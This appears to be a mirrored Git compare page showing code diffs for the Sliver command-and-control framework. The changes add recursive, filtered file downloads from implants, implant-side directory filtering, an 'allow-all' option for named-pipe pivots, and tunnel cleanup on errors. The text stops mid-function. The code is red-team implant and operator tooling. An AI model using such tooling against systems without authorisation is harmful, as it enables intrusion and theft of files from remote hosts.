mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
31
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
afe6c88f83 | ||
|
|
361a4e5112 | ||
|
|
4e7093671c | ||
|
|
68b129acaa | ||
|
|
e9d0f23152 | ||
|
|
1099a4acb7 | ||
|
|
a51c318807 | ||
|
|
e7284b5880 | ||
|
|
0b9cf0f105 | ||
|
|
8350b441ca | ||
|
|
f5646d9975 | ||
|
|
ad312b517a | ||
|
|
253197f21a | ||
|
|
31e0ad2967 | ||
|
|
f83007fe19 | ||
|
|
e3e5016ed0 | ||
|
|
fb4e05617c | ||
|
|
5a781500ee | ||
|
|
fbef52a72d | ||
|
|
a018ba6a11 | ||
|
|
fb38c6e4bb | ||
|
|
c989e2970d | ||
|
|
d935bfb8b3 | ||
|
|
814670dc6d | ||
|
|
140c47e163 | ||
|
|
e28b062e6c | ||
|
|
be7b723c8a | ||
|
|
6be3ff8db2 | ||
|
|
20520755b2 | ||
|
|
0f7b6c0f35 | ||
|
|
0c7c2e0291 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.3
|
||||
FROM golang:1.18.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -35,6 +35,7 @@ type ClientSettings struct {
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -56,7 +56,7 @@ type ArmoryPackage struct {
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
// AmoryBundle - A list of packages
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
|
||||
@@ -1799,6 +1799,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
|
||||
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
|
||||
f.String("n", "name", "", "name to assign the download if looting")
|
||||
f.Bool("r", "recurse", false, "recursively download all files in a directory")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("remote-path", "path to the file or directory to download")
|
||||
@@ -2483,7 +2484,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
|
||||
|
||||
f.Bool("a", "allow-all", false, "allow all users to connect")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
|
||||
@@ -24,7 +24,10 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -43,12 +46,14 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -72,6 +77,34 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
|
||||
func prettifyDownloadName(path string) string {
|
||||
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
|
||||
if err != nil {
|
||||
// Well, we tried.
|
||||
return path
|
||||
}
|
||||
|
||||
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
|
||||
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
|
||||
|
||||
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
|
||||
|
||||
// Collapse multiple underscores into one
|
||||
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
|
||||
if err != nil {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
|
||||
|
||||
// If there is an underscore at the front of the filename, strip that off
|
||||
if strings.HasPrefix(filteredString, "_") {
|
||||
filteredString = filteredString[1:]
|
||||
}
|
||||
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
@@ -90,6 +123,12 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
|
||||
return
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
@@ -114,11 +153,23 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
if download.IsDir {
|
||||
// Come up with a good file name - filters might make the filename ugly
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
// Windows has a file path length of 260 characters
|
||||
// +1 for the path separator before the file name
|
||||
if len(dst)+len(fileName)+1 > 260 {
|
||||
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
|
||||
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
|
||||
}
|
||||
}
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
@@ -141,7 +192,28 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
var readFilesText string
|
||||
var unreadFilesText string
|
||||
|
||||
if download.ReadFiles == 1 {
|
||||
readFilesText = "file"
|
||||
} else {
|
||||
readFilesText = "files"
|
||||
}
|
||||
|
||||
if download.UnreadableFiles == 1 {
|
||||
unreadFilesText = "file"
|
||||
} else {
|
||||
unreadFilesText = "files"
|
||||
}
|
||||
|
||||
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
|
||||
n,
|
||||
download.ReadFiles,
|
||||
readFilesText,
|
||||
download.UnreadableFiles,
|
||||
unreadFilesText,
|
||||
dstFile.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
@@ -45,49 +44,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -104,23 +60,38 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
@@ -174,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
@@ -29,7 +29,6 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
@@ -39,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -164,15 +164,12 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if ctx.Flags["name"] != nil {
|
||||
if ctx.Flags.String("name") != "" {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -279,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
|
||||
|
||||
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
|
||||
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
|
||||
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Downloads can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
|
||||
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
|
||||
|
||||
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
var options []bool
|
||||
options = append(options, ctx.Flags.Bool("allow-all"))
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_NamedPipe,
|
||||
BindAddress: ctx.Flags.String("bind"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Options: options,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -20,10 +20,9 @@ package reconfig
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -36,12 +35,9 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Option to change the agent name
|
||||
name := ctx.Flags.String("name")
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Name must be in alphanumeric only\n")
|
||||
return
|
||||
}
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var beaconID string
|
||||
|
||||
@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
|
||||
@@ -82,7 +82,6 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
|
||||
|
||||
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
defer tunnel.Close()
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -94,6 +93,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
//
|
||||
if shell.Response != nil && shell.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", shell.Response.Err)
|
||||
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
|
||||
TunnelID: tunnel.ID,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("RPC Error: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
defer tunnel.Close()
|
||||
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
|
||||
@@ -358,7 +358,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
"modified": &grumble.FlagMapItem{Value: false},
|
||||
"size": &grumble.FlagMapItem{Value: false},
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
filesystem.PrintLs(ls, flags, con)
|
||||
|
||||
case sliverpb.MsgMvReq:
|
||||
mv := &sliverpb.Mv{}
|
||||
|
||||
@@ -113,6 +113,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
HelpHeadlineColor: color.New(),
|
||||
HelpHeadlineUnderline: true,
|
||||
HelpSubCommands: true,
|
||||
VimMode: settings.VimMode,
|
||||
}),
|
||||
Rpc: rpc,
|
||||
ActiveTarget: &ActiveTarget{
|
||||
|
||||
@@ -20,6 +20,7 @@ package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
@@ -202,6 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
@@ -218,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Close tunnel in case of error on the implant side
|
||||
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
|
||||
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
|
||||
TunnelID: tunnel.ID,
|
||||
SessionID: p.Session.ID,
|
||||
})
|
||||
return nil, errors.New(portfwdResp.Response.Err)
|
||||
}
|
||||
log.Printf("Portfwd response: %v", portfwdResp)
|
||||
|
||||
return tunnel, nil
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.3"
|
||||
GO_VER="1.18.4"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -2,7 +2,7 @@ module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
|
||||
@@ -648,8 +648,8 @@ github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lN
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/mohae/deepcopy v0.0.0-20170308212314-bb9b5e7adda9/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
|
||||
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
|
||||
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
|
||||
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ=
|
||||
|
||||
@@ -82,6 +82,58 @@ func pingHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func determineDirPathFilter(targetPath string) (string, string) {
|
||||
// The filter
|
||||
filter := ""
|
||||
|
||||
// The path the filter applies to
|
||||
path := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if targetPath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(targetPath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = targetPath
|
||||
path = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
path = targetPath[:lastSeparatorOccurrence+1]
|
||||
filter = targetPath[lastSeparatorOccurrence+1:]
|
||||
}
|
||||
} else {
|
||||
path = targetPath
|
||||
// filter remains blank
|
||||
}
|
||||
|
||||
return path, filter
|
||||
}
|
||||
|
||||
func pathIsDirectory(path string) bool {
|
||||
fileInfo, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return false
|
||||
} else {
|
||||
return fileInfo.IsDir()
|
||||
}
|
||||
}
|
||||
|
||||
func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dirListReq := &sliverpb.LsReq{}
|
||||
err := proto.Unmarshal(data, dirListReq)
|
||||
@@ -91,7 +143,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
dir, files, err := getDirList(dirListReq.Path)
|
||||
|
||||
// Handle the case where a directory is provided without a trailing separator
|
||||
var targetPath string
|
||||
|
||||
if pathIsDirectory(dirListReq.Path) {
|
||||
targetPath = dirListReq.Path + "/"
|
||||
} else {
|
||||
targetPath = dirListReq.Path
|
||||
}
|
||||
|
||||
path, filter := determineDirPathFilter(targetPath)
|
||||
|
||||
dir, files, err := getDirList(path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
timezone, offset := time.Now().Zone()
|
||||
@@ -102,19 +166,47 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dirList.Exists = false
|
||||
}
|
||||
dirList.Files = []*sliverpb.FileInfo{}
|
||||
|
||||
var match bool = false
|
||||
var linkPath string = ""
|
||||
|
||||
for _, fileInfo := range files {
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
})
|
||||
if filter == "" {
|
||||
match = true
|
||||
} else {
|
||||
match, err = filepath.Match(filter, fileInfo.Name())
|
||||
if err != nil {
|
||||
// Then this is a bad filter, and it will be a bad filter
|
||||
// on every iteration of the loop, so we might as well break now
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if match {
|
||||
// Check if this is a symlink, and if so, add the path the link points to
|
||||
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
|
||||
if err != nil {
|
||||
linkPath = ""
|
||||
}
|
||||
} else {
|
||||
linkPath = ""
|
||||
}
|
||||
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
Link: linkPath,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Send back the response
|
||||
@@ -274,6 +366,29 @@ func pwdHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
|
||||
/*
|
||||
Combine the path and filter to see if the user wants
|
||||
to download a single file
|
||||
*/
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
rawData, err := os.ReadFile(path + filter)
|
||||
if err != nil {
|
||||
// Then we could not read the file
|
||||
return nil, false, 0, 1, err
|
||||
} else {
|
||||
return rawData, false, 1, 0, nil
|
||||
}
|
||||
}
|
||||
|
||||
// If we are here, then the user wants multiple files (a directory or part of a directory)
|
||||
var downloadData bytes.Buffer
